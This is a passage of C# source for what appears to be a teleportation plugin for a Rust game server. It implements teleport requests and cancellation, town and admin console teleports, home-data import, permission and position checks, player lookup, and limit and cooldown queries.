1745 private void cmdChatTeleportCancel(BasePlayer player, string command, string[] args)
1746 {
1747 if (!configData.Settings.TPREnabled) return;
1748 if (args.Length != 0)
1749 {
1750 PrintMsgL(player, "SyntaxCommandTPC");
1751 return;
1752 }
1753 TeleportTimer teleportTimer;
1754 if (TeleportTimers.TryGetValue(player.userID, out teleportTimer))
1755 {
1756 teleportTimer.Timer?.Destroy();
1757 PrintMsgL(player, "TPCancelled");
1758 PrintMsgL(teleportTimer.TargetPlayer, "TPCancelledTarget", player.displayName);
1759 TeleportTimers.Remove(player.userID);
1760 return;
1761 }
1762 foreach (var keyValuePair in TeleportTimers)
1763 {
1764 if (keyValuePair.Value.TargetPlayer != player) continue;
1765 keyValuePair.Value.Timer?.Destroy();
1766 PrintMsgL(keyValuePair.Value.OriginPlayer, "TPCancelledTarget", player.displayName);
1767 PrintMsgL(player, "TPYouCancelledTarget", keyValuePair.Value.OriginPlayer.displayName);
1768 TeleportTimers.Remove(keyValuePair.Key);
1769 return;
1770 }
1771 BasePlayer target;
1772 if (!PlayersRequests.TryGetValue(player.userID, out target))
1773 {
1774 PrintMsgL(player, "NoPendingRequest");
1775 return;
1776 }
1777 Timer reqTimer;
1778 if (PendingRequests.TryGetValue(player.userID, out reqTimer))
1779 {
1780 reqTimer.Destroy();
1781 PendingRequests.Remove(player.userID);
1782 }
1783 else if (PendingRequests.TryGetValue(target.userID, out reqTimer))
1784 {
1785 reqTimer.Destroy();
1786 PendingRequests.Remove(target.userID);
1787 var temp = player;
1788 player = target;
1789 target = temp;
1790 }
1791 PlayersRequests.Remove(target.userID);
1792 PlayersRequests.Remove(player.userID);
1793 PrintMsgL(player, "Cancelled", target.displayName);
1794 PrintMsgL(target, "CancelledTarget", player.displayName);
1795 }
1796
1797 [ChatCommand("town")]
1798 private void cmdChatTown(BasePlayer player, string command, string[] args)
1799 {
1800 if (args.Length == 1 && IsAllowed(player) && args[0].ToLower().Equals("set"))
1801 {
1802 configData.Town.Location = player.transform.position;
1803 Config.WriteObject(configData, true);
1804 PrintMsgL(player, "TownTPLocation", configData.Town.Location);
1805 return;
1806 }
1807 if (args.Length != 0)
1808 {
1809 PrintMsgL(player, "SyntaxCommandTown");
1810 if (IsAllowed(player)) PrintMsgL(player, "SyntaxCommandTownAdmin");
1811 return;
1812 }
1813 if (configData.Town.Location == default(Vector3))
1814 {
1815 PrintMsgL(player, "TownTPNotSet");
1816 return;
1817 }
1818 var err = CheckPlayer(player, configData.Town.UsableOutOfBuildingBlocked, CanCraftTown(player));
1819 if (err != null)
1820 {
1821 PrintMsgL(player, err);
1822 return;
1823 }
1824 TeleportData teleportData;
1825 if (!Town.TryGetValue(player.userID, out teleportData))
1826 Town[player.userID] = teleportData = new TeleportData();
1827 var timestamp = Facepunch.Math.Epoch.Current;
1828 var currentDate = DateTime.Now.ToString("d");
1829 if (teleportData.Date != currentDate)
1830 {
1831 teleportData.Amount = 0;
1832 teleportData.Date = currentDate;
1833 }
1834 var cooldown = GetLower(player, configData.Town.VIPCooldowns, configData.Town.Cooldown);
1835 if (cooldown > 0 && timestamp - teleportData.Timestamp < cooldown)
1836 {
1837 var remain = cooldown - (timestamp - teleportData.Timestamp);
1838 PrintMsgL(player, "TownTPCooldown", FormatTime(remain));
1839 return;
1840 }
1841 var limit = GetHigher(player, configData.Town.VIPDailyLimits, configData.Town.DailyLimit);
1842 if (limit > 0 && teleportData.Amount >= limit)
1843 {
1844 PrintMsgL(player, "TownTPLimitReached", limit);
1845 return;
1846 }
1847 if (TeleportTimers.ContainsKey(player.userID))
1848 {
1849 PrintMsgL(player, "TeleportPending");
1850 return;
1851 }
1852 err = CanPlayerTeleport(player);
1853 if (err != null)
1854 {
1855 SendReply(player, err);
1856 return;
1857 }
1858 err = CheckItems(player);
1859 if (err != null)
1860 {
1861 PrintMsgL(player, "TPBlockedItem", err);
1862 return;
1863 }
1864 var countdown = GetLower(player, configData.Town.VIPCountdowns, configData.Town.Countdown);
1865 TeleportTimers[player.userID] = new TeleportTimer
1866 {
1867 OriginPlayer = player,
1868 Timer = timer.Once(countdown, () =>
1869 {
1870 err = CheckPlayer(player, configData.Town.UsableOutOfBuildingBlocked, CanCraftTown(player));
1871 if (err != null)
1872 {
1873 PrintMsgL(player, "Interrupted");
1874 PrintMsgL(player, err);
1875 TeleportTimers.Remove(player.userID);
1876 return;
1877 }
1878 err = CanPlayerTeleport(player);
1879 if (err != null)
1880 {
1881 PrintMsgL(player, "Interrupted");
1882 SendReply(player, err);
1883 TeleportTimers.Remove(player.userID);
1884 return;
1885 }
1886 err = CheckItems(player);
1887 if (err != null)
1888 {
1889 PrintMsgL(player, "Interrupted");
1890 PrintMsgL(player, "TPBlockedItem", err);
1891 TeleportTimers.Remove(player.userID);
1892 return;
1893 }
1894 Teleport(player, configData.Town.Location);
1895 teleportData.Amount++;
1896 teleportData.Timestamp = timestamp;
1897 changedTown = true;
1898 PrintMsgL(player, "TownTP");
1899 TeleportTimers.Remove(player.userID);
1900 })
1901 };
1902 PrintMsgL(player, "TownTPStarted", countdown);
1903 }
1904
1905 private bool ccmdTeleport(ConsoleSystem.Arg arg)
1906 {
1907 if (arg.Player() != null && !IsAllowedMsg(arg.Player(), PermTpConsole)) return false;
1908 HashSet<BasePlayer> players;
1909 switch (arg.cmd.namefull)
1910 {
1911 case "teleport.topos":
1912 if (!arg.HasArgs(4))
1913 {
1914 arg.ReplyWith(_("SyntaxConsoleCommandToPos", arg.Player()));
1915 return false;
1916 }
1917 players = FindPlayers(arg.GetString(0));
1918 if (players.Count <= 0)
1919 {
1920 arg.ReplyWith(_("PlayerNotFound", arg.Player()));
1921 return false;
1922 }
1923 if (players.Count > 1)
1924 {
1925 arg.ReplyWith(_("MultiplePlayers", arg.Player(), string.Join(", ", players.Select(p => p.displayName).ToArray())));
1926 return false;
1927 }
1928 var targetPlayer = players.First();
1929 var x = arg.GetFloat(1, -10000);
1930 var y = arg.GetFloat(2, -10000);
1931 var z = arg.GetFloat(3, -10000);
1932 if (!CheckBoundaries(x, y, z))
1933 {
1934 arg.ReplyWith(_("AdminTPOutOfBounds", arg.Player()) + Environment.NewLine + _("AdminTPBoundaries", arg.Player(), boundary));
1935 return false;
1936 }
1937 TeleportToPosition(targetPlayer, x, y, z);
1938 PrintMsgL(targetPlayer, "AdminTPConsoleTP", targetPlayer.transform.position);
1939 arg.ReplyWith(_("AdminTPTargetCoordinates", arg.Player(), targetPlayer.displayName, targetPlayer.transform.position));
1940 Puts(_("LogTeleportPlayer", null, arg.Player()?.displayName, targetPlayer.displayName, targetPlayer.transform.position));
1941 break;
1942 case "teleport.toplayer":
1943 if (!arg.HasArgs(2))
1944 {
1945 arg.ReplyWith(_("SyntaxConsoleCommandToPlayer", arg.Player()));
1946 return false;
1947 }
1948 players = FindPlayers(arg.GetString(0));
1949 if (players.Count <= 0)
1950 {
1951 arg.ReplyWith(_("PlayerNotFound", arg.Player()));
1952 return false;
1953 }
1954 if (players.Count > 1)
1955 {
1956 arg.ReplyWith(_("MultiplePlayers", arg.Player(), string.Join(", ", players.Select(p => p.displayName).ToArray())));
1957 return false;
1958 }
1959 var originPlayer = players.First();
1960 players = FindPlayers(arg.GetString(1));
1961 if (players.Count <= 0)
1962 {
1963 arg.ReplyWith(_("PlayerNotFound", arg.Player()));
1964 return false;
1965 }
1966 if (players.Count > 1)
1967 {
1968 arg.ReplyWith(_("MultiplePlayers", arg.Player(), string.Join(", ", players.Select(p => p.displayName).ToArray())));
1969 return false;
1970 }
1971 targetPlayer = players.First();
1972 if (targetPlayer == originPlayer)
1973 {
1974 arg.ReplyWith(_("CantTeleportPlayerToSelf", arg.Player()));
1975 return false;
1976 }
1977 TeleportToPlayer(originPlayer, targetPlayer);
1978 arg.ReplyWith(_("AdminTPPlayers", arg.Player(), originPlayer.displayName, targetPlayer.displayName));
1979 PrintMsgL(originPlayer, "AdminTPConsoleTPPlayer", targetPlayer.displayName);
1980 PrintMsgL(targetPlayer, "AdminTPConsoleTPPlayerTarget", originPlayer.displayName);
1981 Puts(_("LogTeleportPlayer", null, arg.Player()?.displayName, originPlayer.displayName, targetPlayer.displayName));
1982 break;
1983 }
1984 return false;
1985 }
1986
1987 [ConsoleCommand("teleport.importhomes")]
1988 private bool ccmdImportHomes(ConsoleSystem.Arg arg)
1989 {
1990 if (arg.Player() != null && !IsAllowedMsg(arg.Player(), PermImportHomes))
1991 {
1992 arg.ReplyWith("Not allowed.");
1993 return false;
1994 }
1995 var datafile = Interface.Oxide.DataFileSystem.GetFile("m-Teleportation");
1996 if (!datafile.Exists())
1997 {
1998 arg.ReplyWith("No m-Teleportation.json exists.");
1999 return false;
2000 }
2001 datafile.Load();
2002 var allHomeData = datafile["HomeData"] as Dictionary<string, object>;
2003 if (allHomeData == null)
2004 {
2005 arg.ReplyWith("Empty HomeData.");
2006 return false;
2007 }
2008 var count = 0;
2009 foreach (var kvp in allHomeData)
2010 {
2011 var homeDataOld = kvp.Value as Dictionary<string, object>;
2012 if (homeDataOld == null) continue;
2013 if (!homeDataOld.ContainsKey("HomeLocations")) continue;
2014 var homeList = homeDataOld["HomeLocations"] as Dictionary<string, object>;
2015 if (homeList == null) continue;
2016 var userId = Convert.ToUInt64(kvp.Key);
2017 HomeData homeData;
2018 if (!Home.TryGetValue(userId, out homeData))
2019 Home[userId] = homeData = new HomeData();
2020 foreach (var kvp2 in homeList)
2021 {
2022 var positionData = kvp2.Value as Dictionary<string, object>;
2023 if (positionData == null) continue;
2024 if (!positionData.ContainsKey("x") || !positionData.ContainsKey("y") || !positionData.ContainsKey("z")) continue;
2025 var position = new Vector3(Convert.ToSingle(positionData["x"]), Convert.ToSingle(positionData["y"]), Convert.ToSingle(positionData["z"]));
2026 homeData.Locations[kvp2.Key] = position;
2027 changedHome = true;
2028 count++;
2029 }
2030 }
2031 arg.ReplyWith(string.Format("Imported {0} homes.", count));
2032 return false;
2033 }
2034
2035 private void RequestTimedOut(BasePlayer player, BasePlayer target)
2036 {
2037 PlayersRequests.Remove(player.userID);
2038 PlayersRequests.Remove(target.userID);
2039 PendingRequests.Remove(target.userID);
2040 PrintMsgL(player, "TimedOut", target.displayName);
2041 PrintMsgL(target, "TimedOutTarget", player.displayName);
2042 }
2043
2044 #region Util
2045
2046 private string FormatTime(long seconds)
2047 {
2048 var timespan = TimeSpan.FromSeconds(seconds);
2049 return string.Format(timespan.TotalHours >= 1 ? "{2:00}:{0:00}:{1:00}" : "{0:00}:{1:00}", timespan.Minutes, timespan.Seconds, System.Math.Floor(timespan.TotalHours));
2050 }
2051
2052 private double ConvertToRadians(double angle)
2053 {
2054 return System.Math.PI / 180 * angle;
2055 }
2056
2057 #region Teleport
2058
2059 public void TeleportToPlayer(BasePlayer player, BasePlayer target) => Teleport(player, target.transform.position);
2060
2061 public void TeleportToPosition(BasePlayer player, float x, float y, float z) => Teleport(player, new Vector3(x, y, z));
2062
2063 public void Teleport(BasePlayer player, Vector3 position)
2064 {
2065 SaveLocation(player);
2066 teleporting.Add(player.userID);
2067 if (player.net?.connection != null)
2068 player.ClientRPCPlayer(null, player, "StartLoading", null, null, null, null, null);
2069 StartSleeping(player);
2070 player.MovePosition(position);
2071 if (player.net?.connection != null)
2072 player.ClientRPCPlayer(null, player, "ForcePositionTo", position);
2073 player.TransformChanged();
2074 if (player.net?.connection != null)
2075 player.SetPlayerFlag(BasePlayer.PlayerFlags.ReceivingSnapshot, true);
2076 player.UpdateNetworkGroup();
2077 //player.UpdatePlayerCollider(true, false);
2078 player.SendNetworkUpdateImmediate(false);
2079 if (player.net?.connection == null) return;
2080 //TODO temporary for potential rust bug
2081 try { player.ClearEntityQueue(null); } catch { }
2082 player.SendFullSnapshot();
2083 }
2084
2085 private void StartSleeping(BasePlayer player)
2086 {
2087 if (player.IsSleeping())
2088 return;
2089 player.SetPlayerFlag(BasePlayer.PlayerFlags.Sleeping, true);
2090 if (!BasePlayer.sleepingPlayerList.Contains(player))
2091 BasePlayer.sleepingPlayerList.Add(player);
2092 player.CancelInvoke("InventoryUpdate");
2093 //player.inventory.crafting.CancelAll(true);
2094 //player.UpdatePlayerCollider(true, false);
2095 }
2096
2097 #endregion
2098
2099 #region Checks
2100
2101 private Vector3 CheckPosition(Vector3 position)
2102 {
2103 var hits = Physics.OverlapSphere(position, 2, blockLayer);
2104 var distance = 5f;
2105 BuildingBlock buildingBlock = null;
2106 for (var i = 0; i < hits.Length; i++)
2107 {
2108 var block = hits[i].GetComponentInParent<BuildingBlock>();
2109 if (block == null) continue;
2110 var prefab = block.PrefabName;
2111 if (!prefab.Contains("foundation", CompareOptions.OrdinalIgnoreCase) && !prefab.Contains("floor", CompareOptions.OrdinalIgnoreCase) && !prefab.Contains("pillar", CompareOptions.OrdinalIgnoreCase)) continue;
2112 if (!(Vector3.Distance(block.transform.position, position) < distance)) continue;
2113 buildingBlock = block;
2114 distance = Vector3.Distance(block.transform.position, position);
2115 }
2116 if (buildingBlock == null) return position;
2117 var blockRotation = buildingBlock.transform.rotation.eulerAngles.y;
2118 var angles = new[] { 360 - blockRotation, 180 - blockRotation };
2119 var location = default(Vector3);
2120 const double r = 1.9;
2121 var locationDistance = 100f;
2122 for (var i = 0; i < angles.Length; i++)
2123 {
2124 var radians = ConvertToRadians(angles[i]);
2125 var newX = r * System.Math.Cos(radians);
2126 var newZ = r * System.Math.Sin(radians);
2127 var newLoc = new Vector3((float)(buildingBlock.transform.position.x + newX), buildingBlock.transform.position.y + .2f, (float)(buildingBlock.transform.position.z + newZ));
2128 if (Vector3.Distance(position, newLoc) < locationDistance)
2129 {
2130 location = newLoc;
2131 locationDistance = Vector3.Distance(position, newLoc);
2132 }
2133 }
2134 return location;
2135 }
2136
2137 private string CanPlayerTeleport(BasePlayer player)
2138 {
2139 return Interface.Oxide.CallHook("CanTeleport", player) as string;
2140 }
2141
2142 private bool CanCraftHome(BasePlayer player)
2143 {
2144 return configData.Home.AllowCraft || permission.UserHasPermission(player.UserIDString, PermCraftHome);
2145 }
2146
2147 private bool CanCraftTown(BasePlayer player)
2148 {
2149 return configData.Town.AllowCraft || permission.UserHasPermission(player.UserIDString, PermCraftTown);
2150 }
2151
2152 private bool CanCraftTPR(BasePlayer player)
2153 {
2154 return configData.TPR.AllowCraft || permission.UserHasPermission(player.UserIDString, PermCraftTpR);
2155 }
2156
2157 private string CheckPlayer(BasePlayer player, bool build = false, bool craft = false)
2158 {
2159 if (!player.IsAlive())
2160 return "TPDead";
2161 if (!build && !player.CanBuild())
2162 return "TPBuildingBlocked";
2163 if (player.IsSwimming())
2164 return "TPSwimming";
2165 if (!craft && player.inventory.crafting.queue.Count > 0)
2166 return "TPCrafting";
2167 return null;
2168 }
2169
2170 private string CheckItems(BasePlayer player)
2171 {
2172 foreach (var blockedItem in ReverseBlockedItems)
2173 {
2174 if (player.inventory.containerMain.GetAmount(blockedItem.Key, true) > 0)
2175 return blockedItem.Value;
2176 if (player.inventory.containerBelt.GetAmount(blockedItem.Key, true) > 0)
2177 return blockedItem.Value;
2178 if (player.inventory.containerWear.GetAmount(blockedItem.Key, true) > 0)
2179 return blockedItem.Value;
2180 }
2181 return null;
2182 }
2183
2184 private string CheckFoundation(ulong userID, Vector3 position)
2185 {
2186 if (!configData.Home.ForceOnTopOfFoundation) return null;
2187 var entities = GetFoundation(position);
2188 if (entities.Count == 0)
2189 return "HomeNoFoundation";
2190 if (!configData.Home.CheckFoundationForOwner) return null;
2191 for (var i = 0; i < entities.Count; i++)
2192 if (entities[i].OwnerID == userID) return null;
2193 if (!configData.Home.UseFriends)
2194 return "HomeFoundationNotOwned";
2195 var moderator = (bool)(Clans?.CallHook("IsModerator", userID) ?? false);
2196 var userIdString = userID.ToString();
2197 for (var i = 0; i < entities.Count; i++)
2198 {
2199 var entity = entities[i];
2200 if ((bool) (Friends?.CallHook("HasFriend", entity.OwnerID, userID) ?? false) || (bool) (Clans?.CallHook("HasFriend", entity.OwnerID, userID) ?? false) && moderator || (bool) (RustIO?.CallHook("HasFriend", entity.OwnerID.ToString(), userIdString) ?? false))
2201 return null;
2202 }
2203 return "HomeFoundationNotFriendsOwned";
2204 }
2205
2206 private BuildingBlock GetFoundationOwned(Vector3 position, ulong userID)
2207 {
2208 var entities = GetFoundation(position);
2209 if (entities.Count == 0)
2210 return null;
2211 if (!configData.Home.CheckFoundationForOwner) return entities[0];
2212 for (var i = 0; i < entities.Count; i++)
2213 if (entities[i].OwnerID == userID) return entities[i];
2214 if (!configData.Home.UseFriends)
2215 return null;
2216 var moderator = (bool)(Clans?.CallHook("IsModerator", userID) ?? false);
2217 var userIdString = userID.ToString();
2218 for (var i = 0; i < entities.Count; i++)
2219 {
2220 var entity = entities[i];
2221 if ((bool)(Friends?.CallHook("HasFriend", entity.OwnerID, userID) ?? false) || (bool)(Clans?.CallHook("HasFriend", entity.OwnerID, userID) ?? false) && moderator || (bool)(RustIO?.CallHook("HasFriend", entity.OwnerID.ToString(), userIdString) ?? false))
2222 return entity;
2223 }
2224 return null;
2225 }
2226
2227 private List<BuildingBlock> GetFoundation(Vector3 positionCoordinates)
2228 {
2229 var position = GetGround(positionCoordinates);
2230 var entities = new List<BuildingBlock>();
2231 var hits = Pool.GetList<BuildingBlock>();
2232 Vis.Entities(position, 2.5f, hits, buildingLayer);
2233 for (var i = 0; i < hits.Count; i++)
2234 {
2235 var entity = hits[i];
2236 if (!entity.PrefabName.Contains("foundation") || positionCoordinates.y < entity.WorldSpaceBounds().ToBounds().max.y) continue;
2237 entities.Add(entity);
2238 }
2239 Pool.FreeList(ref hits);
2240 return entities;
2241 }
2242
2243 private bool CheckBoundaries(float x, float y, float z)
2244 {
2245 return x <= boundary && x >= -boundary && y < 2000 && y >= -100 && z <= boundary && z >= -boundary;
2246 }
2247
2248 private Vector3 GetGround(Vector3 sourcePos)
2249 {
2250 if (!configData.Home.AllowAboveFoundation) return sourcePos;
2251 var oldPos = sourcePos;
2252 sourcePos.y = TerrainMeta.HeightMap.GetHeight(sourcePos);
2253 RaycastHit hitinfo;
2254 if (configData.Home.AllowCave && Physics.SphereCast(oldPos, .1f, Vector3.down, out hitinfo, groundLayer) && hitinfo.collider.name.Contains("rock_"))
2255 sourcePos.y = hitinfo.point.y;
2256 if (configData.Home.AllowIceberg && Physics.SphereCast(sourcePos, .1f, Vector3.up, out hitinfo, groundLayer) && hitinfo.collider.name.Contains("iceberg"))
2257 {
2258 sourcePos.y = hitinfo.collider.bounds.max.y;
2259 if (Physics.SphereCast(sourcePos + Vector3.up, .1f, Vector3.down, out hitinfo, groundLayer))
2260 sourcePos.y = hitinfo.point.y - 1.25f;
2261 }
2262 return sourcePos;
2263 }
2264
2265 private Vector3 GetGroundBuilding(Vector3 sourcePos)
2266 {
2267 sourcePos.y = TerrainMeta.HeightMap.GetHeight(sourcePos);
2268 RaycastHit hitinfo;
2269 if (Physics.Raycast(sourcePos, Vector3.down, out hitinfo, buildingLayer))
2270 {
2271 sourcePos.y = System.Math.Max(hitinfo.point.y, sourcePos.y);
2272 return sourcePos;
2273 }
2274 if (Physics.Raycast(sourcePos, Vector3.up, out hitinfo, buildingLayer))
2275 sourcePos.y = System.Math.Max(hitinfo.point.y, sourcePos.y);
2276 return sourcePos;
2277 }
2278
2279 private bool IsAllowed(BasePlayer player, string perm = null)
2280 {
2281 var playerAuthLevel = player.net?.connection?.authLevel;
2282 var requiredAuthLevel = configData.Admin.UseableByModerators ? 1 : 2;
2283 if (playerAuthLevel >= requiredAuthLevel) return true;
2284 return !string.IsNullOrEmpty(perm) && permission.UserHasPermission(player.UserIDString, perm);
2285 }
2286
2287 private bool IsAllowedMsg(BasePlayer player, string perm = null)
2288 {
2289 if (IsAllowed(player, perm)) return true;
2290 PrintMsg(player, "NotAllowed");
2291 return false;
2292 }
2293
2294 private int GetHigher(BasePlayer player, Dictionary<string, int> limits, int limit)
2295 {
2296 foreach (var l in limits)
2297 {
2298 if (permission.UserHasPermission(player.UserIDString, l.Key) && l.Value > limit)
2299 limit = l.Value;
2300 }
2301 return limit;
2302 }
2303
2304 private int GetLower(BasePlayer player, Dictionary<string, int> times, int time)
2305 {
2306 foreach (var l in times)
2307 {
2308 if (permission.UserHasPermission(player.UserIDString, l.Key) && l.Value < time)
2309 time = l.Value;
2310 }
2311 return time;
2312 }
2313
2314 private void CheckPerms(Dictionary<string, int> limits)
2315 {
2316 foreach (var limit in limits)
2317 {
2318 if (!permission.PermissionExists(limit.Key))
2319 permission.RegisterPermission(limit.Key, this);
2320 }
2321 }
2322
2323 #endregion
2324
2325 #region Message
2326
2327 private string _(string msgId, BasePlayer player, params object[] args)
2328 {
2329 var msg = lang.GetMessage(msgId, this, player?.UserIDString);
2330 return args.Length > 0 ? string.Format(msg, args) : msg;
2331 }
2332
2333 private void PrintMsgL(BasePlayer player, string msgId, params object[] args)
2334 {
2335 if (player == null) return;
2336 PrintMsg(player, _(msgId, player, args));
2337 }
2338
2339 private void PrintMsg(BasePlayer player, string msg)
2340 {
2341 if (player == null) return;
2342 SendReply(player, $"{configData.Settings.ChatName}{msg}");
2343 }
2344
2345 #endregion
2346
2347 #region DrawBox
2348
2349 private static void DrawBox(BasePlayer player, Vector3 center, Quaternion rotation, Vector3 size)
2350 {
2351 size = size / 2;
2352 var point1 = RotatePointAroundPivot(new Vector3(center.x + size.x, center.y + size.y, center.z + size.z), center, rotation);
2353 var point2 = RotatePointAroundPivot(new Vector3(center.x + size.x, center.y - size.y, center.z + size.z), center, rotation);
2354 var point3 = RotatePointAroundPivot(new Vector3(center.x + size.x, center.y + size.y, center.z - size.z), center, rotation);
2355 var point4 = RotatePointAroundPivot(new Vector3(center.x + size.x, center.y - size.y, center.z - size.z), center, rotation);
2356 var point5 = RotatePointAroundPivot(new Vector3(center.x - size.x, center.y + size.y, center.z + size.z), center, rotation);
2357 var point6 = RotatePointAroundPivot(new Vector3(center.x - size.x, center.y - size.y, center.z + size.z), center, rotation);
2358 var point7 = RotatePointAroundPivot(new Vector3(center.x - size.x, center.y + size.y, center.z - size.z), center, rotation);
2359 var point8 = RotatePointAroundPivot(new Vector3(center.x - size.x, center.y - size.y, center.z - size.z), center, rotation);
2360
2361 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point1, point2);
2362 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point1, point3);
2363 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point1, point5);
2364 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point4, point2);
2365 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point4, point3);
2366 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point4, point8);
2367
2368 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point5, point6);
2369 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point5, point7);
2370 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point6, point2);
2371 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point8, point6);
2372 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point8, point7);
2373 player.SendConsoleCommand("ddraw.line", 30f, Color.blue, point7, point3);
2374 }
2375
2376 private static Vector3 RotatePointAroundPivot(Vector3 point, Vector3 pivot, Quaternion rotation)
2377 {
2378 return rotation * (point - pivot) + pivot;
2379 }
2380
2381 #endregion
2382
2383 #region FindPlayer
2384
2385 private ulong FindPlayersSingleId(string nameOrIdOrIp, BasePlayer player)
2386 {
2387 var targets = FindPlayers(nameOrIdOrIp);
2388 if (targets.Count > 1)
2389 {
2390 PrintMsgL(player, "MultiplePlayers", string.Join(", ", targets.Select(p => p.displayName).ToArray()));
2391 return 0;
2392 }
2393 ulong userId;
2394 if (targets.Count <= 0)
2395 {
2396 if (!ulong.TryParse(nameOrIdOrIp, out userId))
2397 {
2398 PrintMsgL(player, "PlayerNotFound");
2399 return 0;
2400 }
2401 }
2402 else
2403 userId = targets.First().userID;
2404 return userId;
2405 }
2406
2407 private BasePlayer FindPlayersSingle(string nameOrIdOrIp, BasePlayer player)
2408 {
2409 var targets = FindPlayers(nameOrIdOrIp);
2410 if (targets.Count <= 0)
2411 {
2412 PrintMsgL(player, "PlayerNotFound");
2413 return null;
2414 }
2415 if (targets.Count > 1)
2416 {
2417 PrintMsgL(player, "MultiplePlayers", string.Join(", ", targets.Select(p => p.displayName).ToArray()));
2418 return null;
2419 }
2420 return targets.First();
2421 }
2422
2423 private static HashSet<BasePlayer> FindPlayers(string nameOrIdOrIp)
2424 {
2425 var players = new HashSet<BasePlayer>();
2426 if (string.IsNullOrEmpty(nameOrIdOrIp)) return players;
2427 foreach (var activePlayer in BasePlayer.activePlayerList)
2428 {
2429 if (activePlayer.UserIDString.Equals(nameOrIdOrIp))
2430 players.Add(activePlayer);
2431 else if (activePlayer.displayName.Contains(nameOrIdOrIp, CompareOptions.IgnoreCase))
2432 players.Add(activePlayer);
2433 else if (activePlayer.net?.connection != null && activePlayer.net.connection.ipaddress.Equals(nameOrIdOrIp))
2434 players.Add(activePlayer);
2435 }
2436 foreach (var sleepingPlayer in BasePlayer.sleepingPlayerList)
2437 {
2438 if (sleepingPlayer.UserIDString.Equals(nameOrIdOrIp))
2439 players.Add(sleepingPlayer);
2440 else if (sleepingPlayer.displayName.Contains(nameOrIdOrIp, CompareOptions.IgnoreCase))
2441 players.Add(sleepingPlayer);
2442 }
2443 return players;
2444 }
2445
2446 private static List<BasePlayer> FindPlayersOnline(string nameOrIdOrIp)
2447 {
2448 var players = new List<BasePlayer>();
2449 foreach (var activePlayer in BasePlayer.activePlayerList)
2450 {
2451 if (activePlayer.UserIDString.Equals(nameOrIdOrIp))
2452 players.Add(activePlayer);
2453 else if (activePlayer.displayName.Contains(nameOrIdOrIp, CompareOptions.IgnoreCase))
2454 players.Add(activePlayer);
2455 else if (activePlayer.net?.connection != null && activePlayer.net.connection.ipaddress.Equals(nameOrIdOrIp))
2456 players.Add(activePlayer);
2457 }
2458 return players;
2459 }
2460
2461 #endregion
2462
2463 #endregion
2464
2465 #region API
2466
2467 private Dictionary<string, Vector3> GetHomes(object playerObj)
2468 {
2469 if (playerObj == null) return null;
2470 if (playerObj is string)
2471 playerObj = Convert.ToUInt64(playerObj);
2472 if (!(playerObj is ulong))
2473 throw new ArgumentException("playerObj");
2474 var playerId = (ulong) playerObj;
2475 HomeData homeData;
2476 if (!Home.TryGetValue(playerId, out homeData) || homeData.Locations.Count == 0)
2477 return null;
2478 return homeData.Locations;
2479 }
2480
2481 private int GetLimitRemaining(BasePlayer player, string type)
2482 {
2483 if (player == null || string.IsNullOrEmpty(type)) return 0;
2484 var currentDate = DateTime.Now.ToString("d");
2485 int limit;
2486 var remaining = -1;
2487 switch (type.ToLower())
2488 {
2489 case "home":
2490 limit = GetHigher(player, configData.Home.VIPDailyLimits, configData.Home.DailyLimit);
2491 HomeData homeData;
2492 if (!Home.TryGetValue(player.userID, out homeData))
2493 Home[player.userID] = homeData = new HomeData();
2494 if (homeData.Teleports.Date != currentDate)
2495 {
2496 homeData.Teleports.Amount = 0;
2497 homeData.Teleports.Date = currentDate;
2498 }
2499 if (limit > 0)
2500 remaining = limit - homeData.Teleports.Amount;
2501 break;
2502 case "town":
2503 limit = GetHigher(player, configData.Town.VIPDailyLimits, configData.Town.DailyLimit);
2504 TeleportData townData;
2505 if (!Town.TryGetValue(player.userID, out townData))
2506 Town[player.userID] = townData = new TeleportData();
2507 if (townData.Date != currentDate)
2508 {
2509 townData.Amount = 0;
2510 townData.Date = currentDate;
2511 }
2512 if (limit > 0)
2513 remaining = limit - townData.Amount;
2514 break;
2515 case "tpr":
2516 limit = GetHigher(player, configData.TPR.VIPDailyLimits, configData.TPR.DailyLimit);
2517 TeleportData tprData;
2518 if (!TPR.TryGetValue(player.userID, out tprData))
2519 TPR[player.userID] = tprData = new TeleportData();
2520 if (tprData.Date != currentDate)
2521 {
2522 tprData.Amount = 0;
2523 tprData.Date = currentDate;
2524 }
2525 if (limit > 0)
2526 remaining = limit - tprData.Amount;
2527 break;
2528 }
2529 return remaining;
2530 }
2531
2532 private int GetCooldownRemaining(BasePlayer player, string type)
2533 {
2534 if (player == null || string.IsNullOrEmpty(type)) return 0;
2535 var currentDate = DateTime.Now.ToString("d");
2536 var timestamp = Facepunch.Math.Epoch.Current;
2537 int cooldown;
2538 var remaining = -1;
2539 switch (type.ToLower())
2540 {
2541 case "home":
2542 cooldown = GetLower(player, configData.Home.VIPCooldowns, configData.Home.Cooldown);
2543 HomeData homeData;
2544 if (!Home.TryGetValue(player.userID, out homeData))
2545 Home[player.userID] = homeData = new HomeData();
2546 if (homeData.Teleports.Date != currentDate)
2547 {
2548 homeData.Teleports.Amount = 0;
2549 homeData.Teleports.Date = currentDate;
2550 }
2551 if (cooldown > 0 && timestamp - homeData.Teleports.Timestamp < cooldown)
2552 remaining = cooldown - (timestamp - homeData.Teleports.Timestamp);
2553 break;
2554 case "town":
2555 cooldown = GetLower(player, configData.Town.VIPCooldowns, configData.Town.Cooldown);
2556 TeleportData townData;
2557 if (!Town.TryGetValue(player.userID, out townData))
2558 Town[player.userID] = townData = new TeleportData();
2559 if (townData.Date != currentDate)
2560 {
2561 townData.Amount = 0;
2562 townData.Date = currentDate;
2563 }
2564 if (cooldown > 0 && timestamp - townData.Timestamp < cooldown)
2565 remaining = cooldown - (timestamp - townData.Timestamp);
2566 break;
2567 case "tpr":
2568 cooldown = GetLower(player, configData.TPR.VIPCooldowns, configData.TPR.Cooldown);
2569 TeleportData tprData;
2570 if (!TPR.TryGetValue(player.userID, out tprData))
2571 TPR[player.userID] = tprData = new TeleportData();
2572 if (tprData.Date != currentDate)
2573 {
2574 tprData.Amount = 0;
2575 tprData.Date = currentDate;
2576 }
